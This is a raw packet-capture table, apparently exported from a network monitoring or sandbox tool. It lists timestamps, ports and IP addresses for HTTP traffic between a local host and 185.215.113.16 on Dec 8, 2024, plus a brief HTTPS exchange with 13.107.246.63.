Dec 8, 2024 00:49:03.427407980 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.427448034 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.427478075 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.428430080 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.428477049 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.428484917 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.428518057 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.429311037 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.429466009 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.429511070 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.430285931 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.430401087 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.430447102 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.431282043 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.431324959 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.431380033 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.432292938 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.432336092 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.432387114 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.433271885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.433314085 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.433348894 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.433382988 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.434267044 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.434356928 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.434397936 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.435235977 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.435347080 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.435398102 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.436249018 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.436300039 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.436378956 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.437222004 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.437272072 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.437321901 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.437428951 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.438206911 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.438319921 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.438364029 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.439177036 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.439294100 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.439338923 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.440186977 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.440223932 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.440284014 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.441170931 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.441205978 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.441267014 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.441684008 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.442159891 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.442265034 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.442307949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.443157911 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.443233967 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.443279982 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.444137096 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.444252968 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.444287062 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.445113897 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.445147038 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.445208073 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.445480108 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.446064949 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.449676991 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.586530924 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.586649895 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.586695910 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.586993933 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.587151051 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.587188959 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.587986946 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.588052034 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.588090897 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.588957071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.589009047 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.589071035 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.589159012 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.589961052 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.590009928 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.590080023 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.590186119 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.590959072 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.590993881 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.591062069 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.591100931 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.591979027 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.592025995 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.592119932 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.592181921 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.592968941 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.593014002 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.593101978 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.593244076 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.593904972 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.594011068 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.594053030 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.594909906 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.595026016 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.595072985 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.595911980 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.595957041 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.595997095 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.596329927 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.596873999 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.596937895 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.596971035 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.597029924 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.597918987 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.597959995 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.598088026 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.598128080 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.598865032 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.598917007 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.598953962 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.598994017 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.599826097 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.599884987 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.599932909 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.599975109 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.600826979 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.600940943 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.600986004 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.601819038 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.601937056 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.601983070 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.602813005 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.602927923 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.602971077 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.603790045 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.603856087 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.603888035 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.603920937 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.604779959 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.604883909 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.604904890 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.604923010 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.605775118 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.605880022 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.605918884 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.606762886 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.606872082 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.606920004 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.607760906 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.607810020 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.607867002 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.608026981 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.608732939 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.608838081 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.608864069 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.608876944 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.609710932 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.609786987 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.609817982 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.609854937 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.610732079 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.610778093 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.610838890 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.610917091 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.611700058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.611743927 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.611809969 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.612700939 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.612751007 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.612807035 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.613569021 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.613686085 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.613815069 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.613852978 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.614648104 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.614769936 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.614811897 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.615638018 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.615689039 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.615746021 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.615784883 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.616636992 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.616749048 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.616754055 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.616790056 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.617614985 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.617723942 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.617764950 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.618611097 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.618737936 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.618792057 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.619596004 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.619709969 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.619749069 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.620610952 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.620656967 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.620683908 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.620719910 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.621579885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.621612072 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.621675968 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.621709108 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.622562885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.622600079 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.622662067 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.622730017 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.623545885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.623588085 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.623667955 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.623704910 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.624538898 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.624573946 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.624732018 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.624767065 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.625535011 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.625646114 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.625694036 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.626523018 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.626640081 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.626678944 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.627536058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.627633095 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.627684116 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.628487110 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.628607035 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.628658056 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.629502058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.629591942 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.629600048 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.630475044 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.630527020 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.630660057 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.630840063 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.631454945 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.631498098 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.631568909 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.631607056 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.632451057 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.632497072 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.632530928 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.632566929 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.633430958 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.633557081 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.633578062 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.633591890 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.634459972 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.634496927 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.634552002 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.634589911 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.635406017 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.635442019 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.635505915 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.635541916 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.635853052 CET	443	49838	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:03.636405945 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.636521101 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.636558056 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.637384892 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.637485027 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.637515068 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.637548923 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.638340950 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.638811111 CET	443	49838	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:03.638854027 CET	49838	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:03.638855934 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.638927937 CET	49838	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:03.638927937 CET	49838	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:03.638946056 CET	443	49838	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:03.638953924 CET	443	49838	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:03.778877974 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.779037952 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.779114962 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.779308081 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.779402018 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.779452085 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.780294895 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.780350924 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.780402899 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.781395912 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.781440973 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.781450033 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.781476974 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.782291889 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.782421112 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.782484055 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.783263922 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.783379078 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.783427954 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.784265041 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.784356117 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.784401894 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.785248041 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.785295010 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.785371065 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.785531998 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.786228895 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.786371946 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.786525965 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.787249088 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.787370920 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.787422895 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.788207054 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.788290977 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.788337946 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.789191961 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.789243937 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.789288998 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.789469004 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.790174961 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.790215969 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.790288925 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.790333033 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.791167021 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.791210890 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.791296959 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.791333914 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.792160988 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.792284012 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.792325020 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.793675900 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.793690920 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.793730974 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.794924021 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.794940948 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.794965982 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.794990063 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.795187950 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.795233011 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.795270920 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.795316935 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.797007084 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.797020912 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.797050953 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.797103882 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.797138929 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.797199965 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.797432899 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.798099041 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.798141956 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.798178911 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.798219919 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.799078941 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.799119949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.799190998 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.799233913 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.800071001 CET	80	49835	185.215.113.16	192.168.2.7
